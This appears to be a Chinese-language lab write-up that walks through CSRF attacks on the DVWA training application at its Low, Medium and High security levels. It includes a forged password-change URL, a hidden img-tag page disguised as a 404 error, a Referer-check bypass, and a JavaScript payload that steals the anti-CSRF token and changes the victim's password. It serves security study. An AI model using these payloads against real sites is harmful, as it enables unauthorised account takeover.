DVWA-CSRF(跨站請求偽造)
本系列文集:DVWA學習筆記

1.png
<跨站請求偽造,是指利用受害者尚未失效的身份認證資訊(cookie、會話等),誘騙其點選惡意連結或者訪問包含攻擊程式碼的頁面,在受害人不知情的情況下以受害者的身份向(身份認證資訊所對應的)伺服器傳送請求,從而完成非法操作(如轉賬、改密等)。>
CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用。
該模組主要實現的是一個修改密碼的操作,兩次輸入想要修改的密碼點選提交修改密碼。
主要頁面如下:

2.png
Low:
3.png

3.png
分析:
伺服器收到修改密碼的請求後,會檢查引數password_new與password_conf是否相同,如果相同,就會修改密碼,並沒有任何的防CSRF機制,所以我們只需要使用者在cookie還有效的時間內在相同的瀏覽器訪問我們給定的url(該操作是伺服器對請求的傳送者進行了身份驗證,檢查cookie),就可以實現CSRF攻擊,修改使用者密碼。
Exploit
1.構造如下連結:
http://127.0.0.1/vulnerabilities/csrf/password_new=test&password_conf=test&Change=Change#
當受害者點選了這個連結,密碼就會被改成test
2.使用短連結來隱藏 URL:
為了更加隱蔽,可以生成短網址連結,點選短連結,會自動跳轉到真實網站:

4.png
因為本地搭的環境,伺服器域名是ip所以無法生成相應的短連結,實際攻擊場景下只要目標伺服器的域名不是ip,是可以生成相應短連結的。
3.構造攻擊頁面:
通過img標籤中的src屬性來載入CSRF攻擊利用的URL,並進行佈局隱藏,實現了受害者點選連結則會將密碼修改。
構造的頁面test.html如下:
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
將test.html檔案放在攻擊者自己準備的網站上:

5.png
當受害者正在使用自己的網站(瀏覽器中還儲存著session值)時,訪問攻擊者誘惑點選的此連結:
http://127.0.0.1/hack/test.html
誤認為是自己點選的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為test

6.png
我們將訪問test.html時的資料包抓下來:可以很清楚的看到密碼已經被修改

7.png
Medium:

8.png
stripos(string,find,start):函式查詢字串在另一字串中第一次出現的位置,不區分大小寫。 eregi(string pattern, string string):檢查string中是否含有pattern(不區分大小寫),如果有返回True,反之False。
PHP超全域性變數$_SERVER中的兩個值: $_SERVER['HTTP_REFERER']:PHP中獲取連結到當前頁面的前一頁面的url連結地址,即HTTP資料包中的Referer引數的值。 $_SERVER['SERVER_NAME']:PHP中獲取伺服器主機的名稱,即HTTP資料包中的Host引數的值。
分析:
Medium級別的程式碼檢查了保留變數 HTTP_REFERER(http包頭的Referer引數的值,表示來源地址)中是否包含SERVER_NAME(http包頭的Host引數,及要訪問的主機名,這裡是127.0.0.1),希望通過這種機制抵禦CSRF攻擊。一開始就呼叫eregi()函式來判斷HTTP頭的referer欄位裡是不是包含“127.0.0.1”字串,即傳送請求的是不是本機,如果是則繼續後面程式碼的執行。
Exploit
過濾規則是http包頭的Referer引數的值中必須包含主機名(這裡是127.0.0.1)
我們可以將攻擊頁面命名為127.0.0.1.html(頁面被放置在攻擊者的伺服器裡)就可以繞過了

9.png
我們還是按照之前的操作,先誘惑受害者點選 http://127.0.0.1/test.html ,抓包,併發送到Repeater中:

10.png
執行失敗,出現:That request didn't look correct.
此時讓受害者訪問127.0.0.1.html檔案,即在Repeater中修改HTTP資料包中的Referer引數為:

11.png
成功修改了密碼:

12.png
High:

13.png
分析:
High 的程式碼加入了Anti-CSRF token機制,使用者每次訪問改密頁面時,伺服器會返回一個隨機的token,向伺服器發起請求時,需要提交token引數,而伺服器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。
Exploit
要繞過High 的反CSRF機制,關鍵是要獲取token,要利用受害者的cookie去修改密碼的頁面獲取關鍵的token。Cookie,指某些網站為了辨別使用者身份、進行 session 跟蹤而儲存在使用者本地終端上的資料(通常經過加密)。
試著去構造一個攻擊頁面,將其放置在攻擊者的伺服器,引誘受害者訪問,從而完成 CSRF 攻擊,下面是程式碼。
xss.js:
alert(document.cookie); var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/'; if(window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; xmlhttp.withCredentials = true; xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState ==4 && xmlhttp.status==200) { var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); alert(match[1]); var token = match[1]; var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change'; if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; xmlhttp.open("GET",theUrl,false); xmlhttp.send();
xss.js放置於攻擊者的網站上: http://127.0.0.1/xss.js
攻擊思路是當受害者點選進入這個頁面,指令碼會通過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的token,並向伺服器傳送改密請求,以完成CSRF攻擊。